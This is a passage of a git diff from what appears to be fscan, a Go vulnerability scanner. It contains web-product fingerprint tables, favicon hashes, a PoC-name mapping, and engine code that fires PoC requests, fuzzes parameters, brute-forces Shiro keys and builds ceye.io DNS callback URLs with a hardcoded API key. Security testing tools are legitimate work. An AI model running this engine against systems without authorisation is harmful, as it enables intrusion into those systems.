+ {"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
+ {"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
+ {"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
+ {"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
+ {"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
+ {"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
+ {"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
+ {"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
+ {"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
+ {"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
+ {"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
+ {"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
+ {"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
+ {"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
+ {"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
+ {"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
+ {"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
+ {"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
+ {"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
+ {"APACHE-kylin", "code", "(url=kylin)"},
+ {"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
+ {"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
+ {"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
+ {"FIT2CLOUD-JumpServer-堡垒机", "code", "(JumpServer)"},
+ {"Alibaba Nacos", "code", "(Nacos)"},
+ {"Nagios", "headers", "(nagios admin)"},
+ {"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
+ {"h5ai", "code", "(powered by h5ai)"},
+ {"jeesite", "cookie", "(jeesite.session.id)"},
+ {"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
+ {"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
+ {"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
+ {"天融信网络审计系统", "code", "(onclick=dlg_download())"},
+ {"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
+ {"URP教务系统", "code", "(北京清元优软科技有限公司)"},
+ {"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
+ {"正方OA", "code", "(zfoausername)"},
+ {"希尔OA", "code", "(/heeroa/login.do)"},
+ {"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
+ {"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
+ {"海天OA", "code", "(HTVOS.js)"},
+ {"信达OA", "code", "(http://www.xdoa.cn)"},
+ {"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
+ {"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
+ {"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
+ {"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
+ {"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
+ {"网神防火墙", "code", "(css/lsec/login.css)"},
+ {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
+ {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
+ {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
+ {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
+ {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
+ {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
+ {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
+ {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1|Error 404--Not Found|Welcome to Weblogic Application Server|Oracle WebLogic Server 管理控制台)"},
+ {"weblogic", "headers", "(WebLogic)"},
+ {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
+ {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
+ {"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
+ {"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
+ {"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
+ {"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
+ {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
+ {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
+ {"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
+ {"用友IUFO", "code", "(iufo/web/css/menu.css)"},
+ {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
+ {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
+ {"CMS", "code", "(Powered by .*CMS)"},
+ {"目录遍历", "code", "(Directory listing for /)"},
+ {"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
+ {"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
+ {"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
+ {"Kubernetes", "code", "(Kubernetes Dashboard|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
+ {"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress)"},
+ {"RabbitMQ", "code", "(RabbitMQ Management)"},
+ {"dubbo", "headers", "(Basic realm=\"dubbo\")"},
+ {"Spring env", "code", "(logback)"},
+ {"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
+ {"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
+}
+
+var Md5Datas = []Md5Data{
+ {"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
+ {"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
+ {"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
+ {"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
+ {"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
+ {"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
+ {"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
+ {"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
+ {"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
+ {"致远OA", "57f307ad3764553df84e7b14b7a85432"},
+ {"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
+ {"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
+ {"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
+ {"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
+ {"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
+ {"通达OA", "ed0044587917c76d08573577c8b72883"},
+ {"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
+ {"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
+ {"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
+ {"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
+ {"GitLab", "85c754581e1d4b628be5b7712c042224"},
+ {"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
+ {"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
+ {"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
+ {"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
+ {"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
+ {"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
+ {"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
+ {"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
+ {"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
+}
+
+var PocDatas = []PocData{
+ {"致远OA", "seeyon"},
+ {"泛微OA", "weaver"},
+ {"通达OA", "tongda"},
+ {"蓝凌OA", "landray"},
+ {"ThinkPHP", "thinkphp"},
+ {"Nexus", "nexus"},
+ {"齐治堡垒机", "qizhi"},
+ {"weaver-ebridge", "weaver-ebridge"},
+ {"weblogic", "weblogic"},
+ {"zabbix", "zabbix"},
+ {"VMware vSphere", "vmware"},
+ {"Jboss", "jboss"},
+ {"用友", "yongyou"},
+ {"用友IUFO", "yongyou"},
+ {"coremail", "coremail"},
+ {"金山", "kingsoft"},
+}
diff --git a/webscan/lib/Check.go b/webscan/lib/Check.go
new file mode 100644
index 0000000..2a1a22e
--- /dev/null
+++ b/webscan/lib/Check.go
@@ -0,0 +1,905 @@
+package lib
+
+import (
+ "crypto/md5"
+ "fmt"
+ "github.com/google/cel-go/cel"
+ "github.com/shadow1ng/fscan/common"
+ "github.com/shadow1ng/fscan/common/output"
+ "github.com/shadow1ng/fscan/webscan/info"
+ "math/rand"
+ "net/http"
+ "net/url"
+ "regexp"
+ "strings"
+ "sync"
+ "time"
+)
+
+// API配置常量
+const (
+ ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥
+ ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名
+)
+
+// Task 定义单个POC检测任务的结构体
+type Task struct {
+ Req *http.Request // HTTP请求对象
+ Poc *Poc // POC检测脚本
+}
+
+// VulnResult 漏洞结果结构体
+type VulnResult struct {
+ Poc *Poc // POC脚本
+ VulName string // 漏洞名称
+ Target string // 目标URL
+ Details map[string]interface{} // 详细信息
+}
+
+// CheckMultiPoc 并发执行多个POC检测
+// 参数说明:
+// - req: HTTP请求对象
+// - pocs: POC检测脚本列表
+// - workers: 并发工作协程数量
+func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
+ // 确保至少有一个工作协程
+ if workers <= 0 {
+ workers = 1
+ }
+
+ // 创建任务通道,缓冲区大小为POC列表长度
+ tasks := make(chan Task, len(pocs))
+ var wg sync.WaitGroup
+
+ // 启动指定数量的工作协程池
+ for i := 0; i < workers; i++ {
+ wg.Add(1)
+ go func() {
+ defer wg.Done()
+ // 从任务通道循环获取任务
+ for task := range tasks {
+ // 执行POC检测,返回是否存在漏洞、错误信息和漏洞名称
+ isVulnerable, err, vulName := executePoc(task.Req, task.Poc)
+
+ // 处理执行过程中的错误
+ if err != nil {
+ common.LogError(fmt.Sprintf("执行POC错误 %s: %v", task.Poc.Name, err))
+ continue
+ }
+
+ // 仅当通过普通POC规则(非clusterpoc)检测到漏洞时,才创建结果
+ // 因为clusterpoc已在内部处理了漏洞输出
+ if isVulnerable && vulName != "" {
+ // 构造漏洞详细信息
+ details := make(map[string]interface{})
+ details["vulnerability_type"] = task.Poc.Name
+ details["vulnerability_name"] = vulName
+
+ // 添加作者信息(如果有)
+ if task.Poc.Detail.Author != "" {
+ details["author"] = task.Poc.Detail.Author
+ }
+
+ // 添加参考链接(如果有)
+ if len(task.Poc.Detail.Links) != 0 {
+ details["references"] = task.Poc.Detail.Links
+ }
+
+ // 添加漏洞描述(如果有)
+ if task.Poc.Detail.Description != "" {
+ details["description"] = task.Poc.Detail.Description
+ }
+
+ // 创建并保存扫描结果
+ result := &output.ScanResult{
+ Time: time.Now(),
+ Type: output.TypeVuln,
+ Target: task.Req.URL.String(),
+ Status: "vulnerable",
+ Details: details,
+ }
+ common.SaveResult(result)
+
+ // 构造控制台输出的日志信息
+ logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
+ task.Req.URL,
+ task.Poc.Name,
+ vulName)
+
+ // 添加作者信息到日志
+ if task.Poc.Detail.Author != "" {
+ logMsg += "\n\t作者:" + task.Poc.Detail.Author
+ }
+
+ // 添加参考链接到日志
+ if len(task.Poc.Detail.Links) != 0 {
+ logMsg += "\n\t参考链接:" + strings.Join(task.Poc.Detail.Links, "\n")
+ }
+
+ // 添加描述信息到日志
+ if task.Poc.Detail.Description != "" {
+ logMsg += "\n\t描述:" + task.Poc.Detail.Description
+ }
+
+ // 输出成功日志
+ common.LogSuccess(logMsg)
+ }
+ }
+ }()
+ }
+
+ // 分发所有POC任务到通道
+ for _, poc := range pocs {
+ tasks <- Task{
+ Req: req,
+ Poc: poc,
+ }
+ }
+
+ // 关闭任务通道
+ close(tasks)
+
+ // 等待所有POC检测任务完成
+ wg.Wait()
+}
+
+// createVulnDetails 创建漏洞详情信息
+func createVulnDetails(poc *Poc, vulName string) map[string]interface{} {
+ details := make(map[string]interface{})
+ details["vulnerability_type"] = poc.Name
+ details["vulnerability_name"] = vulName
+
+ // 添加作者信息(如果有)
+ if poc.Detail.Author != "" {
+ details["author"] = poc.Detail.Author
+ }
+
+ // 添加参考链接(如果有)
+ if len(poc.Detail.Links) != 0 {
+ details["references"] = poc.Detail.Links
+ }
+
+ // 添加漏洞描述(如果有)
+ if poc.Detail.Description != "" {
+ details["description"] = poc.Detail.Description
+ }
+
+ return details
+}
+
+// buildLogMessage 构建漏洞日志消息
+func buildLogMessage(result *VulnResult) string {
+ logMsg := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息:",
+ result.Target,
+ result.Poc.Name,
+ result.VulName)
+
+ // 添加作者信息到日志
+ if result.Poc.Detail.Author != "" {
+ logMsg += "\n\t作者:" + result.Poc.Detail.Author
+ }
+
+ // 添加参考链接到日志
+ if len(result.Poc.Detail.Links) != 0 {
+ logMsg += "\n\t参考链接:" + strings.Join(result.Poc.Detail.Links, "\n")
+ }
+
+ // 添加描述信息到日志
+ if result.Poc.Detail.Description != "" {
+ logMsg += "\n\t描述:" + result.Poc.Detail.Description
+ }
+
+ return logMsg
+}
+
+// executePoc 执行单个POC检测
+func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
+ // 初始化环境配置
+ config := NewEnvOption()
+ config.UpdateCompileOptions(p.Set)
+
+ // 处理额外的设置项
+ if len(p.Sets) > 0 {
+ var setMap StrMap
+ for _, item := range p.Sets {
+ value := ""
+ if len(item.Value) > 0 {
+ value = item.Value[0]
+ }
+ setMap = append(setMap, StrItem{item.Key, value})
+ }
+ config.UpdateCompileOptions(setMap)
+ }
+
+ // 创建执行环境
+ env, err := NewEnv(&config)
+ if err != nil {
+ return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), ""
+ }
+
+ // 解析请求
+ req, err := ParseRequest(oReq)
+ if err != nil {
+ return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), ""
+ }
+
+ // 初始化变量映射
+ variableMap := make(map[string]interface{})
+ defer func() { variableMap = nil }()
+ variableMap["request"] = req
+
+ // 处理设置项
+ for _, item := range p.Set {
+ key, expression := item.Key, item.Value
+ if expression == "newReverse()" {
+ if !common.DnsLog {
+ return false, nil, ""
+ }
+ variableMap[key] = newReverse()
+ continue
+ }
+ if err, _ = evalset(env, variableMap, key, expression); err != nil {
+ common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err))
+ }
+ }
+
+ // 处理爆破模式
+ if len(p.Sets) > 0 {
+ success, err := clusterpoc(oReq, p, variableMap, req, env)
+ return success, err, ""
+ }
+
+ return executeRules(oReq, p, variableMap, req, env)
+}
+
+// executeRules 执行POC规则并返回结果
+func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (bool, error, string) {
+ // 处理单个规则的函数
+ executeRule := func(rule Rules) (bool, error) {
+ Headers := cloneMap(rule.Headers)
+
+ // 替换变量
+ for varName, varValue := range variableMap {
+ if _, isMap := varValue.(map[string]string); isMap {
+ continue
+ }
+ strValue := fmt.Sprintf("%v", varValue)
+
+ // 替换Header中的变量
+ for headerKey, headerValue := range Headers {
+ if strings.Contains(headerValue, "{{"+varName+"}}") {
+ Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue)
+ }
+ }
+
+ // 替换Path和Body中的变量
+ rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue)
+ rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue)
+ }
+
+ // 构建请求路径
+ if oReq.URL.Path != "" && oReq.URL.Path != "/" {
+ req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
+ } else {
+ req.Url.Path = rule.Path
+ }
+ req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
+
+ // 创建新请求
+ newRequest, err := http.NewRequest(
+ rule.Method,
+ fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
+ strings.NewReader(rule.Body),
+ )
+ if err != nil {
+ return false, fmt.Errorf("请求创建错误: %v", err)
+ }
+
+ // 设置请求头
+ newRequest.Header = oReq.Header.Clone()
+ for k, v := range Headers {
+ newRequest.Header.Set(k, v)
+ }
+ Headers = nil
+
+ // 发送请求
+ resp, err := DoRequest(newRequest, rule.FollowRedirects)
+ newRequest = nil
+ if err != nil {
+ return false, err
+ }
+
+ variableMap["response"] = resp
+
+ // 执行搜索规则
+ if rule.Search != "" {
+ result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
+ if len(result) == 0 {
+ return false, nil
+ }
+ for k, v := range result {
+ variableMap[k] = v
+ }
+ }
+
+ // 执行表达式
+ out, err := Evaluate(env, rule.Expression, variableMap)
+ if err != nil {
+ return false, err
+ }
+
+ if flag, ok := out.Value().(bool); ok {
+ return flag, nil
+ }
+ return false, nil
+ }
+
+ // 处理规则组的函数
+ executeRuleSet := func(rules []Rules) bool {
+ for _, rule := range rules {
+ flag, err := executeRule(rule)
+ if err != nil || !flag {
+ return false
+ }
+ }
+ return true
+ }
+
+ // 执行检测规则
+ success := false
+ if len(p.Rules) > 0 {
+ success = executeRuleSet(p.Rules)
+ return success, nil, ""
+ } else {
+ for _, item := range p.Groups {
+ name, rules := item.Key, item.Value
+ if success = executeRuleSet(rules); success {
+ return true, nil, name
+ }
+ }
+ }
+
+ return false, nil, ""
+}
+
+// doSearch 在响应体中执行正则匹配并提取命名捕获组
+func doSearch(re string, body string) map[string]string {
+ // 编译正则表达式
+ r, err := regexp.Compile(re)
+ // 正则表达式编译
+ if err != nil {
+ common.LogError(fmt.Sprintf("正则编译错误: %v", err))
+ return nil
+ }
+
+ // 执行正则匹配
+ result := r.FindStringSubmatch(body)
+ names := r.SubexpNames()
+
+ // 处理匹配结果
+ if len(result) > 1 && len(names) > 1 {
+ paramsMap := make(map[string]string)
+ for i, name := range names {
+ if i > 0 && i <= len(result) {
+ // 特殊处理Cookie头
+ if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
+ paramsMap[name] = optimizeCookies(result[i])
+ } else {
+ paramsMap[name] = result[i]
+ }
+ }
+ }
+ return paramsMap
+ }
+ return nil
+}
+
+// optimizeCookies 优化Cookie字符串,移除不必要的属性
+func optimizeCookies(rawCookie string) string {
+ var output strings.Builder
+
+ // 解析Cookie键值对
+ pairs := strings.Split(rawCookie, "; ")
+ for _, pair := range pairs {
+ nameVal := strings.SplitN(pair, "=", 2)
+ if len(nameVal) < 2 {
+ continue
+ }
+
+ // 跳过Cookie属性
+ switch strings.ToLower(nameVal[0]) {
+ case "expires", "max-age", "path", "domain",
+ "version", "comment", "secure", "samesite", "httponly":
+ continue
+ }
+
+ // 构建Cookie键值对
+ if output.Len() > 0 {
+ output.WriteString("; ")
+ }
+ output.WriteString(nameVal[0])
+ output.WriteString("=")
+ output.WriteString(strings.Join(nameVal[1:], "="))
+ }
+
+ return output.String()
+}
+
+// newReverse 创建新的反连检测对象
+func newReverse() *Reverse {
+ // 检查DNS日志功能是否启用
+ if !common.DnsLog {
+ return &Reverse{}
+ }
+
+ // 生成随机子域名
+ const (
+ letters = "1234567890abcdefghijklmnopqrstuvwxyz"
+ subdomainLength = 8
+ )
+ randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
+ subdomain := RandomStr(randSource, letters, subdomainLength)
+
+ // 构建URL
+ urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
+ u, err := url.Parse(urlStr)
+ // 解析反连URL
+ if err != nil {
+ common.LogError(fmt.Sprintf("反连URL解析错误: %v", err))
+ return &Reverse{}
+ }
+
+ // 返回反连检测配置
+ return &Reverse{
+ Url: urlStr,
+ Domain: u.Hostname(),
+ Ip: u.Host,
+ IsDomainNameServer: false,
+ }
+}
+
+// clusterpoc 执行集群POC检测,支持批量参数组合测试
+func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
+ var strMap StrMap // 存储成功的参数组合
+ var shiroKeyCount int // shiro key测试计数
+
+ // 记录漏洞的辅助函数,统一保存结果和输出日志
+ recordVulnerability := func(targetURL string, params StrMap, skipSave bool) {
+ // 构造详细信息
+ details := make(map[string]interface{})
+ details["vulnerability_type"] = p.Name
+ details["vulnerability_name"] = p.Name // 使用POC名称作为漏洞名称
+
+ // 添加作者信息(如果有)
+ if p.Detail.Author != "" {
+ details["author"] = p.Detail.Author
+ }
+
+ // 添加参考链接(如果有)
+ if len(p.Detail.Links) != 0 {
+ details["references"] = p.Detail.Links
+ }
+
+ // 添加漏洞描述(如果有)
+ if p.Detail.Description != "" {
+ details["description"] = p.Detail.Description
+ }
+
+ // 添加参数信息(如果有)
+ if len(params) > 0 {
+ paramMap := make(map[string]string)
+ for _, item := range params {
+ paramMap[item.Key] = item.Value
+ }
+ details["parameters"] = paramMap
+ }
+
+ // 保存漏洞结果(除非明确指示跳过)
+ if !skipSave {
+ result := &output.ScanResult{
+ Time: time.Now(),
+ Type: output.TypeVuln,
+ Target: targetURL,
+ Status: "vulnerable",
+ Details: details,
+ }
+ common.SaveResult(result)
+ }
+
+ // 生成日志消息
+ var logMsg string
+ if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
+ logMsg = fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name)
+ } else {
+ logMsg = fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, params)
+ }
+
+ // 输出成功日志
+ common.LogSuccess(logMsg)
+ }
+
+ // 遍历POC规则
+ for ruleIndex, rule := range p.Rules {
+ // 检查是否需要进行参数Fuzz测试
+ if !isFuzz(rule, p.Sets) {
+ // 不需要Fuzz,直接发送请求
+ success, err = clustersend(oReq, variableMap, req, env, rule)
+ if err != nil {
+ return false, err
+ }
+ if !success {
+ return false, err
+ }
+ continue
+ }
+
+ // 生成参数组合
+ setsMap := Combo(p.Sets)
+ ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表
+
+ // 遍历参数组合
+ paramLoop:
+ for comboIndex, paramCombo := range setsMap {
+ // Shiro Key测试特殊处理:默认只测试10个key
+ if p.Name == "poc-yaml-shiro-key" && !common.PocFull && comboIndex >= 10 {
+ if paramCombo[1] == "cbc" {
+ continue
+ } else {
+ if shiroKeyCount == 0 {
+ shiroKeyCount = comboIndex
+ }
+ if comboIndex-shiroKeyCount >= 10 {
+ break
+ }
+ }
+ }
+
+ // 克隆规则以避免相互影响
+ currentRule := cloneRules(rule)
+ var hasReplacement bool
+ var currentParams StrMap
+ payloads := make(map[string]interface{})
+ var payloadExpr string
+
+ // 计算所有参数的实际值
+ for i, set := range p.Sets {
+ key, expr := set.Key, paramCombo[i]
+ if key == "payload" {
+ payloadExpr = expr
+ }
+ _, output := evalset1(env, variableMap, key, expr)
+ payloads[key] = output
+ }
+
+ // 替换规则中的参数
+ for _, set := range p.Sets {
+ paramReplaced := false
+ key := set.Key
+ value := fmt.Sprintf("%v", payloads[key])
+
+ // 替换Header中的参数
+ for headerKey, headerVal := range currentRule.Headers {
+ if strings.Contains(headerVal, "{{"+key+"}}") {
+ currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value)
+ paramReplaced = true
+ }
+ }
+
+ // 替换Path中的参数
+ if strings.Contains(currentRule.Path, "{{"+key+"}}") {
+ currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value)
+ paramReplaced = true
+ }
+
+ // 替换Body中的参数
+ if strings.Contains(currentRule.Body, "{{"+key+"}}") {
+ currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value)
+ paramReplaced = true
+ }
+
+ // 记录替换的参数
+ if paramReplaced {
+ hasReplacement = true
+ if key == "payload" {
+ // 处理payload的特殊情况
+ hasVarInPayload := false
+ for varKey, varVal := range variableMap {
+ if strings.Contains(payloadExpr, varKey) {
+ hasVarInPayload = true
+ currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)})
+ }
+ }
+ if hasVarInPayload {
+ continue
+ }
+ }
+ currentParams = append(currentParams, StrItem{key, value})
+ }
+ }
+
+ // 如果没有参数被替换,跳过当前组合
+ if !hasReplacement {
+ continue
+ }
+
+ // 规则去重
+ ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule)))
+ ruleMD5 := fmt.Sprintf("%x", ruleDigest)
+ if _, exists := ruleHash[ruleMD5]; exists {
+ continue
+ }
+ ruleHash[ruleMD5] = struct{}{}
+
+ // 发送请求并处理结果
+ success, err = clustersend(oReq, variableMap, req, env, currentRule)
+ if err != nil {
+ return false, err
+ }
+
+ if success {
+ targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
+
+ // 处理成功情况
+ if currentRule.Continue {
+ // 使用Continue标志时,记录但继续测试其他参数
+ recordVulnerability(targetURL, currentParams, false)
+ continue
+ }
+
+ // 记录成功的参数组合
+ strMap = append(strMap, currentParams...)
+ if ruleIndex == len(p.Rules)-1 {
+ // 最终规则成功,记录完整的结果并返回
+ recordVulnerability(targetURL, strMap, false)
+ return false, nil
+ }
+ break paramLoop
+ }
+ }
+
+ if !success {
+ break
+ }
+ if rule.Continue {
+ return false, nil
+ }
+ }
+
+ return success, nil
+}
+
+// isFuzz 检查规则是否包含需要Fuzz测试的参数
+func isFuzz(rule Rules, Sets ListMap) bool {
+ // 遍历所有参数
+ for _, param := range Sets {
+ key := param.Key
+ paramPattern := "{{" + key + "}}"
+
+ // 检查Headers中是否包含参数
+ for _, headerValue := range rule.Headers {
+ if strings.Contains(headerValue, paramPattern) {
+ return true
+ }
+ }
+
+ // 检查Path中是否包含参数
+ if strings.Contains(rule.Path, paramPattern) {
+ return true
+ }
+
+ // 检查Body中是否包含参数
+ if strings.Contains(rule.Body, paramPattern) {
+ return true
+ }
+ }
+ return false
+}
+
+// Combo 生成参数组合
+func Combo(input ListMap) [][]string {
+ if len(input) == 0 {
+ return nil
+ }
+
+ // 处理只有一个参数的情况
+ if len(input) == 1 {
+ output := make([][]string, 0, len(input[0].Value))
+ for _, value := range input[0].Value {
+ output = append(output, []string{value})
+ }
+ return output
+ }
+
+ // 递归处理多个参数的情况
+ subCombos := Combo(input[1:])
+ return MakeData(subCombos, input[0].Value)
+}
+
+// MakeData 将新的参数值与已有的组合进行组合
+func MakeData(base [][]string, nextData []string) [][]string {
+ // 预分配足够的空间
+ output := make([][]string, 0, len(base)*len(nextData))
+
+ // 遍历已有组合和新参数值
+ for _, existingCombo := range base {
+ for _, newValue := range nextData {
+ // 创建新组合
+ newCombo := make([]string, 0, len(existingCombo)+1)
+ newCombo = append(newCombo, newValue)
+ newCombo = append(newCombo, existingCombo...)
+ output = append(output, newCombo)
+ }
+ }
+
+ return output
+}
+
+// clustersend 执行单个规则的HTTP请求和响应检测
+func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
+ // 替换请求中的变量
+ for varName, varValue := range variableMap {
+ // 跳过map类型的变量
+ if _, isMap := varValue.(map[string]string); isMap {
+ continue
+ }
+
+ strValue := fmt.Sprintf("%v", varValue)
+ varPattern := "{{" + varName + "}}"
+
+ // 替换Headers中的变量
+ for headerKey, headerValue := range rule.Headers {
+ if strings.Contains(headerValue, varPattern) {
+ rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue)
+ }
+ }
+
